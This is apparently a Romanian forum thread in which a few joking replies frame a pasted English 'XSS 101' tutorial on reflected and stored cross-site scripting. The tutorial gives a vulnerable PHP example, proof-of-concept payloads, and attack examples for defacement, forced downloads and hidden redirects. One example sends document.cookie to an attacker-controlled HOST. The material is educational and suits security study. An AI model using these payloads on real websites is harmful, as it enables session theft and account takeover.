Zile de nervi, insistente Prin cine face platiile facebook ?

https://speakerdeck.com/filedescriptor/exploiting-the-unexploitable-with-lesser-known-browser-tricks

(facepalm) postul asta e la troll, chiar credeai ca tipul ala a gasit xss in facebook ? :)))))))))))

Lol, chiar credeam ca tipu a facut public un XSS in facebook. Mersi de elucidare Sherlock

XSS 101 1. What is XSS? Cross-site scripting (XSS) is both the name of the most common vulnerability in web applications and the exploitation method performed against it. XSS attacks abuse the dynamic way websites interact with their clients, the browsers. It makes possible, for an attacker, to control the victim’s browser and his/her interaction with a given vulnerable website. To display back content provided or controlled by an user, like an URL parameter or an input field, a flawed application opens the door to manipulation of this content. This manipulation, generically called injection, is the XSS attack. Fig 1. Classic XSS popup. Browsers display content using a mix of HTML (basically a text formatting language) and a programming language called javascript. Among other things, javascript is responsible for making things run in response to events in the context of an application. Another window opening when a page loads, the drag and drop of elements of the page and any changes made to the it on the fly (without the need to reload it), for example, are things done by javascript. Javascript code comes between the HTML tags, <script> and </script> (the opening and closing ones, respectively) or in the form of an external include by means of the “src” (source) attribute of this same tag. In this way, libraries (reusable pieces of code) can be added to the current page and executed by browser in that context. So when an attacker is able to inject this pair of tags into a page, any javascript code can be executed if there’s no filter in place (which is usually the vast majority of cases). Because anything an user in a browser can do also can be done by javascript, an attacker has total control over it. Javascript can also appears in common HTML elements, the regular tags. By means of event handlers inside them, like “onload” (when an page element is loaded by browser) or “onmouseover” (when a mouse pointer hovers over something), javascript code can also be executed increasing considerably the numbers of vectors for an XSS attack. Types of XSS Cross-site scripting can occur in the context of an application or not. Out of the context of an application is very rare but more dangerous and it will not be covered here. Focusing on the application, XSS can be caused by server side code (code sent by web server) or client side code (code processed by browser from code sent by web server). Code sent by web server is the source code. It is processed by browser, with the help of the javascript engine, to create the elements of the document in a programmatic manner. This is called DOM (Document Object Model) and it’s generated as soon as the source code arrives. So we have source-based and DOM-based types of XSS in a context of an application. Both have the following execution types. Source-based: Reflected Stored DOM-based: Reflected Stored When the website or application just reflects back content maliciously manipulated by user (usually in the URL), we have a reflected XSS attack. This reflection, as we saw, affects the way browsers display the page and how they process things and behave. Take the following PHP code: $username = $_GET[‘user’]; echo “<h1>Hello, ” . $username . “!</h1>”; Which would display the user name taken from URL like http://mydomain.com/hello.php?user=John In source code, it would be: <h1>Hello, John!</h1> Fig. 2 – Example of parameter value reflection. So, if an attacker use the URL “http://mydomain.com/hello.php?user=<script>alert(1)</script>” he/she will be able to make the browser generate the following source code: <h1>Hello, <script>alert(1)</script>!</h1> Triggering the classic javascript alert box. Fig. 3 – The XSS being triggered. When the website or application stores user input in a database or a file to display it later, like a field in a profile or a comment in a forum, the resulting attack is called persistent or stored XSS. Every user that sees this stored content is a potential victim. While in this last attack, an user just needs to open or navigate to an infected page to be attacked, in the reflected one an user usually must click on attacker’s link, which contains what we call vector or payload, the code used for the XSS attack. Although seeming less dangerous than the stored version, a reflected XSS can also be invisibly embedded into any other website and executes from another browser tab or window in the context of the target application. XSS Basic Examples Usually, for a proof of concept (PoC) of an XSS attack exploring source-based flaws, security testers use one the following code. 1. With <script> tag <script>alert(1)</script> or <script src=//HOST/SCRIPT></script> With HOST being a domain or IP address controlled by tester and SCRIPT being a script with alert(1) as content, like in: <script src=//14.rs></script> 2. With regular HTML tags 2.1 Event-based <TAG EVENT=alert(1)> With TAG being any HTML or XML tag and EVENT being a supported event handler like: <body onload=alert(1)> <img src=1 onerror=alert(1)> <svg onload=alert(1)> <x onmouseover=alert(1)> 2.2 Resource-based <TAG RESOURCE=javascript:alert(1)> With TAG being a proper HTML tag that supports a RESOURCE like: <iframe src=javascript:alert(1)> <object data=javascript:alert(1)> All these make a window pop-up appears with the number one inside. Although useful to show the executing of javascript and then the possibility of hooking the browser for control, it’s better to prove that execution in the context of the application. For this, “alert(1)” is changed to “alert(document.domain)”. Example: <script>alert(document.domain)</script> These are just to prove the vulnerability; for attacks in the wild, a victim of an XSS attack usually will not be able to see anything while his/her browser will perform the attacker’s desired actions. 2. What Can be Done With XSS? These are the main actions that can be performed by an attacker when exploiting an XSS flaw. 2.1. Steal an user session on the vulnerable website (including admins) Browsers use a small text file to store locally important data about a given website. This file contains what we call cookies, pairs of variable and value that have some meaning for the application that sent them to browser. Cookies are used to identify a person after he logged into an application, so server has no need to ask for credentials again every time an user request a resource. While cookies are valid (they expire after a certain time), an user session is active in the application. If these valid cookies are stolen, the thief can impersonate that user and interact with application in the same way the real user does, without even knowing his password. This gives access to all personal data stored about an user, like his telephone number, home address and even his/her credit card details in an e-commerce website, for example. For website administrators (admins), an XSS attack can lead to takeover of his/her website and even the machine where it is hosted. Attack example: <svg onload=fetch(‘//HOST/?cookie=’+document.cookie)> Where HOST is a domain or IP address controlled by attacker. 2.2. Capture the keys pressed by the user By being able to capture what an user types in form fields, like the ones for login (username and password), an attacker can also compromise an user account in a given website. 2.3. Deface the page, serving any type of content Users can be tricked into thinking that visited website was hacked or it’s not functional, which can lead to panic or the impossibility to perform actions in the application like buying an item. Attack example: <svg onload=”document.body.innerHTML='<img src=//HOST/IMAGE>'”> Where HOST is a domain or IP address controlled by attacker and IMAGE is a full screen image with a “Hacked by” message, for example. 2.4. Trick the user into giving his/her credentials by means of a fake HTML form With the ability to serve any content, an attacker can convince an user to enter or reenter his/her credentials in the application, but this time sending them to an attacker. 2.5. Crash the browser (local denial of service) Very rare use, but possible. An attacker may want to keep away a certain rival in an auction, for example, by making his/her browser unresponsive. 2.6. Force download of files It’s straightforward to make user’s browser download any file with XSS, but not necessarily executing it, which would give access to user machine. Unfortunately, due to the fact that an attacker has control over several other aspects of the trusted website, seems not so difficult to also trick the user into open it. Attack Example: <a href=//HOST/FILE download=FILENAME>Download</a> Where HOST is a domain or IP address controlled by attacker, FILE is the file attacker want the victim to download and FILENAME is the name of the file in victim’s machine (user can be forced to download an executable file while saving it as an image, for example). 2.7. Redirect user’s browser to another website where his/her machine can be compromised by memory exploits Again, with the aim to takeover the user machine, an attacker can redirect the browser invisibly to another web address where another prepared application will try to break the browser barrier to access the user operating system (which would lead to compromise). If user has an outdated or vulnerable browser, attacker has great chances of success. Attack Example: <iframe src=//HOST/ style=display:none></iframe> Where is a domain or IP address controlled by attacker. Sursa :

https://pbs.twimg.com/media/C7yEwJVWsAAAI7Z.jpg:large

Mai am si eu un invite in caz de ceva : https://www.elearnsecurity.com/affiliate/redeem SIH-BRO